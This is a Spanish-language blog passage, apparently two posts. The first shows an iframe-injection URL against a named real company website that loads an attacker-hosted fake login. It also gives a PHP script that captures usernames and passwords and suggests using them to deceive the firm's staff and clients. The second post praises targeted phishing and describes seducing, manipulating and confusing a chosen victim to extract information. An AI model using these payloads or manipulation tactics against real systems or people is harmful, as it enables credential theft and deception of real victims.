Sin embargo, permite incluir otro tipo de código como un iframe.

Vamos a armar un pequeño código en php con un formulario que nos capture la información, simulando un login, bien simple, que cumpla con el estándar del sitio web (fondo azúl y bien feo)

< ?php
if($_GET['login'] == "ok")
        die("user: ".$_POST['user']."pass: ".$_POST['pass']);
?>

Usuario:

Password:

Incluimos nuestro script en el iframe:

http://www.yagode.cl/proyectos.php?Tipo=<iframe frameborder=0 src=http://zerial.org/yagode.php width=500 height=200</iframe>

Ingresamos nuestra información, usuario y contraseña, y vemos como el script php que hicimos se encarga de guardar la información y mostrarla, llenamos el formulario con datos de prueba como usuario=miusuario y password=mipassword, al presionar el botón “ingresar“, veremos la siguiente pantalla:

Perfectamente podemos engañar a los empleados o clientes de ésta empresa, para que ingresen a éste sitio y nos entreguen información confidencial. Con un poco de ingeniería social y tiempo.

NOTA: La empresa encargada de éste sitio fue notificada de los fallos hace mucho tiempo (más de 2 meses)

Compartir/Guardar

Phishing es un término informático que denomina un tipo de delito encuadrado dentro del ámbito de las estafas cibernéticas, y que se comete mediante el uso de un tipo de ingeniería social caracterizado por intentar adquirir información confidencial de forma fraudulenta (como puede ser una contraseña o información detallada sobre tarjetas de crédito u otra información bancaria).

Como dice la definición, son técnicas que se aplican mediante ingeniería social y ésta es, por si misma, un arte.
Podemos detectar distintos tipos de phishing, desde uno muy simple como falsificar un sitio y lanzarlo al mundo para que la gente caiga o bien uno más complejo con objetivos determinados y con víctimas específicas. En el primer tipo, me gustaría hacer referencia a todos los conocidos ataques que se han hecho a bancos simplemente falsificando el sitio web y obteniendo información de gente al azar, por ejemplo el caso en que se vio envuelto Mastercard Argentina. Con el segundo tipo, quiero hacer referencia a casos más trascendentes que generalmente no son conocidos, ya que no afectan a mucha gente sino mas bien a una víctima específica. Para mi, el primer tipo es una mierda, sin embargo, me gustaría destacar los ataques del segúndo tipo. De ahora en adelante, los distinguiré según su tipo.

Primero, voy a entrar en detalles con el phishing de primer tipo. Cualquier persona con mínimos conocimientos en desarrollo puede copiar una página y conseguirse un dominio similar al original para hospedarla y lanzarla al mundo para ver quienes caen, generalmente con estos tipos de ataques no sabes quienes son las personas que caen en tu trampa, simplemente obtienes sus datos para fastidiarles, ingresas a sus cuentas y ver si tiene algo entretenido, no tiene ninguna ciencia. Este tipo de ataques no tienen ningún sentido, no se está aplicando ingeniería social ni mucho menos.
Existe una gran diferencia entre dirigir los ataques a una persona o víctima en particular versus el direccionarlo a quien caiga: la dificultad y la emoción.

El segúndo tipo es en el que quiero profundizar más. Cuando tenemos una víctima en la mira, es mucho más emocionando hacer éste tipo de ataques, ya que nos costará más y nuestro fín es único, no afectará a otras personas quienes no nos interesa. Para hacer ataques dirigidos, tenemos distintas técnicas, desde ataques locales hasta ataques remotos, podemos hacernos pasar por otra persona, engañando a nuestra víctima para que crea lo que nosotros queremos que crea y así obtener lo que queremos, hasta podemos manipularla. La víctima debe pensar que somos alguien de confianza, que se mueve dentro de su círculo de amigos o conocidos, sabemos mucho de ella y ella cree saber mucho de nosotros. Hacer que la víctima confíe en nosotros toma mucho tiempo, hace que haga lo que nosotros queremos más aún. Se puede lograr desde ataques sicológicos hasta con ataques netamente informáticos pero sin duda lo mejor es una combinación de ambos. Generalmente las víctimas de éste tipo de ataque son conocidos (nosotros lo conocemos, pero muchas veces él a nosotros no) a menos que sea por encargo.
La captura de datos o información se puede lograr falsificando websites, por teléfono, en persona, mediante algun tipo de mensajería instantanea, sniffeando la red, etc. Todo va a depender de nuestra imaginación, conocimiento y capacidades.

Cuando tenemos una víctima elegida, es muy entretenido el proceso en el cual hay que seducirla y mucho más aún, cuando la persona cae en nuestro juego y una véz obtenida la información es mucho más emocionante aún. Luego es el proceso de la verificación de información y posteriormente, una des-seducción de nuestra víctima, es decir, hacer que poco a poco se vaya alejando, pero sin perder el control de la situación y obviamente, sin pretender que nuestro objetivo se de cuenta de lo que planeamos hacer. Lo mejor es confundirlo.
No siempre se logra el objetivo, aveces porque nuestras técnicas han fallado y otras veces porque la persona que elegimos como víctima no es tan fácil de seducir. Hay que saber en qué momento abortar misión, porque los afectados podemos ser nosotros.

Existe un concepto errado de lo que es el phishing, al igual que muchas cosas, la popularidad de los términos terminan deformandose. Para mucha gente éste término es sinónimo de “robo de cuenta del banco y transferencias de dinero ilícitas“, que sería la definición peyorativa.
Detrás de muchos hackeos existen, implícita o explícitamente, técnicas de phishing aplicadas sobre las víctimas, y no podemos desperdiciar todo el proceso pensante y las capacidades del atacante para elaborar un ataque de ésta magnitud.

Compartir/Guardar